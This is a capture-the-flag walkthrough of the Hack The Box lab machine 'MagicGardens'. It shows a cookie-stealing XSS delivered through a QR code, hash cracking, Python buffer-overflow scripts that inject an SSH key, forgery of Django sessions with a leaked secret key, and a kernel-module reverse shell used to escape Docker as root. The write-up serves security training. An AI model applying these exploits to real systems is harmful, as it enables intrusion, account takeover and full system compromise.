Introduction to MagicGardens:

This write-up will explore the “MagicGardens” machine from Hack The Box, which is categorized as an insanely difficult challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective on MagicGardens machine:
The goal of this walkthrough is to complete the “MagicGardens” machine from Hack The Box by achieving the following objectives:
User Flag:
Method to Obtain the User Flag
The process began with directory enumeration, revealing an /admin
panel and various endpoints. After registering an account and analyzing payment requests, we manipulated server responses to bypass subscription checks. Further, we intercepted a QR code, decoded its Base64 content, and injected an XSS payload to steal an admin session. Using the obtained session cookie, we accessed Morty’s Django admin panel, where we extracted password hashes and cracked them to gain further access.
With no immediate user flag, we shifted focus to privilege escalation by analyzing running processes with ps aux
. We identified a suspicious harvest binary under user Alex and downloaded it for local analysis. Discovering a file-write vulnerability, we exploited it to inject an SSH public key into /home/alex/.ssh/authorized_keys
. Finally, we logged in via SSH as Alex, gaining access to the system, where the user flag was found in /home/alex/user.txt
.
Root Flag:
Exploiting a Vulnerable Service to Gain Root Access
The escalation begins with an email hinting at a configuration file, with the password physically stored on the target’s desk. Examining the binary harvest_handshake_server
reveals unsafe input handling, which could be exploited. Using this strace, we track file interactions and identify a potential buffer overflow. By crafting a custom payload msf-pattern_create
, we determine the exact overwrite location, leading to unauthorized access.
With initial access secured, we inject an SSH public key into the .ssh
directory for persistence. Inside a Docker container, we discover the cap_sys_module
capability, which allows us to load custom kernel modules. We compile a malicious .ko
file, transfer it to the target, and use insmod
it to load it, ultimately escalating privileges to root and capturing the flag.
Enumerating the Magicgardens Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sC -sV -oN nmap_initial.txt 10.10.11.9
Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $cat initial.nmap
# Nmap 7.94SVN scan initiated Wed Feb 5 07:38:00 2025 as: nmap -sC -sV -oA initial 10.10.11.9
Nmap scan report for 10.10.11.9
Host is up (0.016s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
|_ 256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
25/tcp filtered smtp
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://magicgardens.htb/
5000/tcp open ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-05-23T11:57:43
|_Not valid after: 2024-05-22T11:57:43
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 5 07:38:49 2025 -- 1 IP address (1 host up) scanned in 48.78 seconds
Analysis:
- Port 22 (SSH): OpenSSH 9.2p1 is running, allowing remote access. Potential attack vectors include weak credentials, outdated versions, or misconfigurations.
- Port 25 (SMTP): Filtered, indicating email services might be present but inaccessible for direct enumeration.
- Port 80 (HTTP): Running nginx 1.22.1, hosting a website that redirects to
magicgardens.htb
. Possible entry points include web vulnerabilities such as LFI, RCE, or SQLi. - Port 5000 (SSL/HTTP – Docker Registry): Exposes a Docker Registry API (v2.0). If misconfigured, attackers could pull, push, or modify container images, leading to privilege escalation or code execution. The SSL certificate details suggest an internal setup with a self-signed certificate.
Web Enumeration on MagicGardens:
Perform web enumeration to discover potentially exploitable directories and files.
gobuster dir -u http://10.10.11.9 -w /usr/share/wordlists/dirb/common.txt
Gobuster Output:

Analysis:
- Admin Panel:
/admin
directory detected; potential entry point for privilege escalation. - Authentication Endpoints:
/login
,/register
,/profile
—possible targets for brute force, SQL injection, or session hijacking. - Recovery Mechanisms:
/restore
and/check
might handle password resets or system checks, which could expose vulnerabilities. - E-commerce Functionality:
/cart
,/catalog
, and/subscribe
suggest a transactional system; potential for IDOR or business logic flaws. - Duplicate Entries:
/check
and/restore
appear twice, indicating potential misconfigurations or alternate paths worth testing.
Exploitation
Web Application Exploration:

Upon first access, the homepage presents itself as an e-commerce platform.

Let’s create a new account.




After successfully entering the previously created credentials, we are presented with the interface shown above.
Subscription Upgrade on MagicGardens Machine


An upgrade to a subscription is required.

Provide the payment details as displayed above and select a card.


If the specified bank address points to a local location, you can set up a Python server, update the address to your IP, and click send to observe the response.

The response from the Python server reveals a directory that needs to be accessed, such as /api/payments/
.



If the specified bank address points to a local location, you can set up a Python server.

The subscription has been successfully processed.


It returned a 402 error, so I decided to modify it to 200 and observe the outcome.


Finally, the payment was successful, and the purchase was completed.

Let’s update the bank information to use our IP address.

Using the Python script, the results indicate that we managed to trigger the /api/payments.
Bypass QR Code on MagicGardens Machine

Finally, we successfully obtained a QR code.

The QR code has been encoded in Base64.

Therefore, let’s decode the Base64.

I generated a QR code using CyberChef, following the detected format and inferred that a comma (,
) was used as a separator. To inject XSS, I prefixed the payload accordingly, structuring it as ,..<???>.<???>.<XSS payload>
.

Shortly after, I successfully obtained an admin cookie.

I obtained the following cookie:
csrftoken=xxx; sessionid=.xxxxxx
Using this cookie, I successfully accessed the user account of Morty.


Replace the original cookie with the recently retrieved one.

We successfully accessed Morty’s Django administration dashboard.



The extracted password hash is in PBKDF2-SHA256 format with 600,000 iterations:
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=
To proceed, extract the hash to isolate the necessary components, then utilize Hashcat for a brute-force or dictionary attack to attempt password recovery.

We successfully cracked the hash, revealing the password: jonasbrothers.


Unfortunately, no user flag was found on Morty’s account.

There are no entries listed in sudo -l
.
Enumerate using the harvest tool on MagicGarden machine



While examining running processes using ps aux, I noticed an unusual service running persistently. A harvest server was operating under user alex:
alex 1836 0.0 0.2 18968 10644 ? Ss May23 0:00 /lib/systemd/systemd --user
alex 1837 0.0 0.0 102708 3048 ? S May23 0:00 _ (sd-pam)
alex 1856 0.0 0.0 2464 872 ? S May23 0:00 harvest server -l /home/alex/.harvest_logs
Additionally, I found mail files for both Alex and Root, potentially containing useful information:
/var/mail/alex
/var/mail/root
/var/spool/mail/alex
/var/spool/mail/root
To investigate further, I checked the harvest binary location:
morty@magicgardens:~$ whereis harvest
harvest: /usr/local/bin/harvest
Since Harvest is located in /usr/local/bin/
, it may not be a standard system binary, making it a potential target for privilege escalation.

Let’s transfer the harvest binary to our local machine for further analysis.
Analyze on harvest script on MagicGardens Machine



After an initial review, it appears that the harvest binary requires enabling listening mode first. Once activated, the software begins monitoring network traffic, and potential vulnerabilities within it may allow file writing.
- 0x6A: Command to request the server to enable listening mode.
Since this process has been running continuously, the next step is to download the binary and manually analyze its behaviour
Finally, we observe that the last detail displayed is the version number: 1.0.3.
import socket<br>host = '::1'<br>port = 8000
file = b'/home/alex/.ssh/authorized_keys'
nop = b'\r'
key_id_rsa = b'ssh-rsa '
orver = 65370
server_address = (host, port)
s = socket.socket(socket.af_inet6, socket.sock_dgram)
s.connect(server_address)
s.send(nop*(orver-len(key_id_rsa)) + b'\n' + key_id_rsa + b'\n' + file)

The screenshot above displays the command along with its available options.


Both screenshots above illustrate the execution flow and operational process.
Get Alex access via SSH service

Let’s generate the SSH private key.
import socket
# Define the target server and port
server_address = ('::1', 6666)
# Create a UDP socket for IPv6
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
# Prepare the payload with a large amount of newline characters
payload_size = 65403
data = bytearray(b'\n' * payload_size)
# Define the SSH key to inject
ssh_key = ('ssh-rsa xxxxxx')
# Target file path for SSH key injection
target_path = b"/home/alex/.ssh/authorized_keys"
# Modify the payload to include the target file and SSH key
send_data = data[:65372] + target_path
send_data[12:12+len(ssh_key)] = ssh_key.encode()
# Send the modified payload to the target
s.send(send_data)
print("[+] Exploit sent! Check if SSH access is available.")
The Python script I worked on, with assistance from Google, closely resembles the one shown above.

We need to transfer the script to the victim’s machine.

The document was successfully transmitted. Upon accessing the system, we observed the following:

Success! We have gained access to the machine as Alex uses the SSH key.

Finally, we got a user flag on Alex’s access
Buffer Overflow on MagicGardens Machine

Analyse with strace on the machine


The command sudo strace -t -e trace=openat ./harvest server -l dark.txt
is used to trace system calls related to file opening (openat
) while running the harvest
binary with elevated privileges. The output shows that the program attempts to access shared library files like /etc/ld.so.cache and /lib/x86_64-linux-gnu/libc.so.6, which are necessary for dynamically linked executables. This behaviour is expected as part of the program’s initialization.
However, the [x] Bind failed
message indicates that the program encountered an error while attempting to bind to a network socket. This could be due to a port already in use, insufficient privileges, or an incorrect network configuration. Since the process exits with status 1
, the failure prevents further execution. To troubleshoot, checking whether the required port is free, ensuring the correct network interface is being used, or running the program with appropriate permissions might be necessary.
GDB analyze
gef➤ disassemble harvest_handshake_server
Dump of assembler code for function harvest_handshake_server:
0x0000000000001b54 <+0>: push rbp
0x0000000000001b55 <+1>: mov rbp,rsp
0x0000000000001b58 <+4>: sub rsp,0x90
0x0000000000001b5f <+11>: mov DWORD PTR [rbp-0x84],edi
0x0000000000001b65 <+17>: mov QWORD PTR [rbp-0x90],rsi
0x0000000000001b6c <+24>: lea rax,[rbp-0x80]
0x0000000000001b70 <+28>: pxor xmm0,xmm0
0x0000000000001b74 <+32>: movaps XMMWORD PTR [rax],xmm0
0x0000000000001b77 <+35>: movaps XMMWORD PTR [rax+0x10],xmm0
0x0000000000001b7b <+39>: movaps XMMWORD PTR [rax+0x20],xmm0
0x0000000000001b7f <+43>: movaps XMMWORD PTR [rax+0x30],xmm0
0x0000000000001b83 <+47>: lea rcx,[rbp-0x80]
0x0000000000001b87 <+51>: mov eax,DWORD PTR [rbp-0x84]
0x0000000000001b8d <+57>: mov edx,0x40
0x0000000000001b92 <+62>: mov rsi,rcx
0x0000000000001b95 <+65>: mov edi,eax
0x0000000000001b97 <+67>: call 0x1110 <read@plt>
0x0000000000001b9c <+72>: lea rax,[rbp-0x40]
0x0000000000001ba0 <+76>: pxor xmm0,xmm0
0x0000000000001ba4 <+80>: movaps XMMWORD PTR [rax],xmm0
0x0000000000001ba7 <+83>: movaps XMMWORD PTR [rax+0x10],xmm0
0x0000000000001bab <+87>: movaps XMMWORD PTR [rax+0x20],xmm0
0x0000000000001baf <+91>: movaps XMMWORD PTR [rax+0x30],xmm0
0x0000000000001bb3 <+95>: lea rax,[rbp-0x40]
0x0000000000001bb7 <+99>: movabs rcx,0x2074736576726168
0x0000000000001bc1 <+109>: mov QWORD PTR [rax],rcx
0x0000000000001bc4 <+112>: mov WORD PTR [rax+0x8],0x76
0x0000000000001bca <+118>: lea rax,[rbp-0x40]
0x0000000000001bce <+122>: mov rdi,rax
0x0000000000001bd1 <+125>: call 0x10b0 <strlen@plt>
0x0000000000001bd6 <+130>: lea rdx,[rbp-0x40]
0x0000000000001bda <+134>: add rdx,rax
0x0000000000001bdd <+137>: mov rax,QWORD PTR [rbp-0x90]
0x0000000000001be4 <+144>: mov rsi,rax
0x0000000000001be7 <+147>: mov rdi,rdx
0x0000000000001bea <+150>: call 0x1040 <strcpy@plt>
0x0000000000001bef <+155>: lea rax,[rbp-0x40]
0x0000000000001bf3 <+159>: mov rdi,rax
0x0000000000001bf6 <+162>: call 0x10b0 <strlen@plt>
0x0000000000001bfb <+167>: lea rdx,[rbp-0x40]
0x0000000000001bff <+171>: add rax,rdx
0x0000000000001c02 <+174>: mov WORD PTR [rax],0xa
0x0000000000001c07 <+179>: lea rdx,[rbp-0x80]
0x0000000000001c0b <+183>: lea rax,[rbp-0x40]
0x0000000000001c0f <+187>: mov rsi,rdx
0x0000000000001c12 <+190>: mov rdi,rax
0x0000000000001c15 <+193>: call 0x1130 <strcmp@plt>
0x0000000000001c1a <+198>: test eax,eax
0x0000000000001c1c <+200>: je 0x1c5d <harvest_handshake_server+265>
0x0000000000001c1e <+202>: lea rax,[rip+0x1ba2] # 0x37c7
0x0000000000001c25 <+209>: mov rdi,rax
0x0000000000001c28 <+212>: call 0x1050 <puts@plt>
0x0000000000001c2d <+217>: mov eax,DWORD PTR [rbp-0x84]
0x0000000000001c33 <+223>: mov edx,0x15
0x0000000000001c38 <+228>: lea rcx,[rip+0x1b9c] # 0x37db
0x0000000000001c3f <+235>: mov rsi,rcx
0x0000000000001c42 <+238>: mov edi,eax
0x0000000000001c44 <+240>: call 0x1080 <write@plt>
0x0000000000001c49 <+245>: mov eax,DWORD PTR [rbp-0x84]
0x0000000000001c4f <+251>: mov edi,eax
0x0000000000001c51 <+253>: call 0x1100 <close@plt>
0x0000000000001c56 <+258>: mov eax,0x0
0x0000000000001c5b <+263>: jmp 0x1c94 <harvest_handshake_server+320>
0x0000000000001c5d <+265>: lea rax,[rbp-0x40]
0x0000000000001c61 <+269>: mov rdi,rax
0x0000000000001c64 <+272>: call 0x10b0 <strlen@plt>
0x0000000000001c69 <+277>: mov rdx,rax
0x0000000000001c6c <+280>: lea rcx,[rbp-0x40]
0x0000000000001c70 <+284>: mov eax,DWORD PTR [rbp-0x84]
0x0000000000001c76 <+290>: mov rsi,rcx
0x0000000000001c79 <+293>: mov edi,eax
0x0000000000001c7b <+295>: call 0x1080 <write@plt>
0x0000000000001c80 <+300>: lea rax,[rip+0x1b69] # 0x37f0
0x0000000000001c87 <+307>: mov rdi,rax
0x0000000000001c8a <+310>: call 0x1050 <puts@plt>
0x0000000000001c8f <+315>: mov eax,0x1
0x0000000000001c94 <+320>: leave
0x0000000000001c95 <+321>: ret
End of assembler dump.
Harvest handshake server explanation
The harvest_handshake_server function reads user input, processes it, and checks if it matches a specific value. It first prepares memory space and reads up to 64 characters from an input source, like a network connection or file. Then, it initializes a hidden phrase (“harvest”) in memory and appends the received input to it. The program then compares the modified phrase with the original input to determine if it matches.
If the input matches the expected value, the function sends a response, likely confirming successful authentication or communication. If the input is incorrect, it prints an error message and exits. This function appears to be part of an authentication mechanism, where the correct input grants access. However, if there’s a flaw in how it processes input, it could allow someone to bypass security.
0x0000000000001c0f <+187>: mov rsi,rdx
0x0000000000001c12 <+190>: mov rdi,rax
0x0000000000001c15 <+193>: call 0x1130 <strcmp@plt>
Threat Hunting on the code
This section of code performs a string comparison check, which is a common pattern in authentication mechanisms. The value in rdx
(likely user-controlled input) is moved into rsi
, and the expected string (stored in rax
) is placed into rdi
. The program then calls strcmp@plt
, which compares both values. If they match, strcmp
returns 0
, leading to a specific execution flow—potentially granting access or executing a privileged function.
From a threat-hunting perspective, this is a critical point for input validation attacks. If the input is not properly sanitized or if there’s an off-by-one buffer overflow, an attacker could manipulate the comparison result. Additionally, if rdx
comes from untrusted sources (e.g., network packets, user input, or external files), adversaries could craft payloads to bypass authentication or force unintended behaviour. Monitoring for anomalies in string comparisons and unexpected execution flows around strcmp calls can help detect exploit attempts in real-time.
__int64 __fastcall handle_raw_packets(int a1, int a2, __int64 a3)
{
char *v3; // rax
__int64 result; // rax
char dest[10]; // [rsp+2Eh] [rbp-10072h] BYREF
time_t timer; // [rsp+38h] [rbp-10068h] BYREF
char v8[32]; // [rsp+40h] [rbp-10060h] BYREF
char v9[32]; // [rsp+60h] [rbp-10040h] BYREF
_BYTE s[14]; // [rsp+80h] [rbp-10020h] BYREF
__int16 v11; // [rsp+8Eh] [rbp-10012h] BYREF
int v12; // [rsp+1008Ch] [rbp-14h]
__int16 *v13; // [rsp+10090h] [rbp-10h]
unsigned int v14; // [rsp+1009Ch] [rbp-4h]
memset(s, 0, 0xFFFFuLL);
v14 = recvfrom(a1, s, 0xFFFFuLL, 0, 0LL, 0LL);
timer = time(0LL);
v3 = ctime(&timer);
strncpy(dest, v3 + 11, 8uLL);
dest[8] = 0;
if ( v14 <= 0x27 )
{
puts("Incomplete packet ");
close(a1);
exit(0);
}
v13 = &v11;
v12 = 255;
sprintf(v9, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", s[6], s[7], s[8], s[9], s[10], s[11]);
sprintf(v8, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", v12 & s[0], v12 & s[1], v12 & s[2], v12 & s[3], v12 & s[4], v12 & s[5]);
if ( *(_BYTE *)v13 == 69 )
print_packet((_DWORD)v13, a3, a2, (unsigned int)v9, (unsigned int)v8, (unsigned int)dest, (__int64)s);
result = *(unsigned __int8 *)v13;
if ( (_BYTE)result == 96 )
return log_packet(v13, a3);
return result;
}
Upon reviewing the code, I observed that if the connection uses IPv6, the program flags it as suspicious and logs the details to a file.
In contrast, IPv4 connections are allowed by default, whereas IPv6 traffic is recorded and triggers a warning message indicating a potential issue.
┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $sudo strace -t -e trace=openat ./harvest server -l dark.txt
07:54:24 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
07:54:24 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
[*] Listening on interface ANY
[*] Successful handshake
07:55:06 openat(AT_FDCWD, "/etc/localtime", O_RDONLY|O_CLOEXEC) = 6
07:55:06 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
To monitor which files the program writes locally, I use strace -t -e trace=openat
to track the file paths it accesses during execution.
Exploiting on BOF

┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $cat bof.py
import socket
server_address = ('::1',1338)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
data = b'A'*65500
s.send(data)
┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $sudo strace -t -e trace=openat ./harvest server -l dark.txt
07:54:24 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
07:54:24 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
[*] Listening on interface ANY
[*] Successful handshake
07:55:06 openat(AT_FDCWD, "/etc/localtime", O_RDONLY|O_CLOEXEC) = 6
07:55:06 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
07:55:49 openat(AT_FDCWD, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
07:55:49 --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
07:55:49 +++ killed by SIGSEGV +++
Segmentation fault
A large number of “AAAAA” characters are written locally, indicating a buffer overflow vulnerability. To identify the exact location of the filename within the payload, a 65,500-character payload is generated for further analysis.
┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $cat bof.txt
[*] Exact match at offset 4524
[*] Exact match at offset 24804
[*] Exact match at offset 45084
[*] Exact match at offset 65364
Generate a 65,500-character pattern and save it to a file using:
msf-pattern_create -l 65500 > bof.txt
After saving the pattern, use Python to analyze its placement within the payload.
┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $cat bof2.py
import socket
f = open('bof.txt','rb')
server_address = ('::1',1338)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
data=''
with open('bof.txt','rb') as f:
data=bytearray(f.read())
new=b"/tmp/dark.txt\r"
#data[65372:len(new)]=new
s.send(data[:65372]+new)
┌─[dark@parrot]─[~/Documents/htb/magicgardern]
└──╼ $sudo strace -t -e trace=openat ./harvest server -l dark.txt
08:01:22 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
08:01:22 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
[*] Listening on interface ANY
[*] Successful handshake
08:02:33 openat(AT_FDCWD, "/etc/localtime", O_RDONLY|O_CLOEXEC) = 6
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:33 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:37 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:37 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:37 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:37 openat(AT_FDCWD, "dark.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
[!] Suspicious activity. Packages have been logged.
08:02:54 --- SIGPIPE {si_signo=SIGPIPE, si_code=SI_USER, si_pid=2460, si_uid=0} ---
[!] Connection closed by client
The filename has been successfully identified and modified as intended.
Escalate to Root Privileges Access on MagicGardens Machine
Privilege Escalation:

I noticed an email addressed to Alex.
Alex’s password


Inside the email, I found a message stating, “Use this file for registry configuration. The password is on your desk.“

Alex received a auth.zip
file. Let’s extract and analyze its contents.

Since the password is unknown, let’s attempt a brute-force attack to crack it.


Successfully retrieved the password for Alex Miles.
DockerGrabber enumeration and exploitation


Successfully extracted the SECRET_KEY: SECRET_KEY=55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b.


We’ll embed the SECRET_KEY
into the code, generate a session cookie, inject it into a request to the Django instance, and ultimately obtain a root shell.

We can install Django by using the command above


We have obtained the session cookie, and now we’ll inject it into the request.

Replace the session cookie in the sessionid
field at http://magicgardens.htb/admin/
.
Docker Escape

We have gained access to the root user’s Docker environment.
Cap_Sys_Module exploitation

These files (linux-headers-6.1.0-11-amd64
and linux-headers-6.1.0-11-common
) should not be present in the directory, as they are typically used for kernel compilation. Since Docker containers share the host’s kernel and primarily rely on it chroot
, their presence is unusual.
Additionally, with gcc
and make
installed, it raises suspicion that this container has elevated privileges. Further investigation is needed to confirm its security implications. The presence cap_sys_module
indicates that we can load kernel modules on the host, allowing us to escalate privileges.


All commands fail to execute except for the echo
function.
Compiling the code to proceed


We need to create a reverse shell in C and configure a Makefile for compilation.

Next, we’ll run make
inside the src
folder and insert the newly compiled module.

We have successfully created the file in .ko
format.

Let’s transfer the compiled file to the victim’s machine.

The transfer was successful.

The insmod file.ko
command is used to insert or load a Loadable Kernel Module (LKM) into the running Linux kernel, allowing users to add additional functionality.
Troubleshooting the source code

Unfortunately, we are unable to obtain a shell using pwncat-cs
.

We can remove (rmmod
) and reload (insmod
) the module since the file already exists.


We can read the root flag by typing the “cat root.txt” command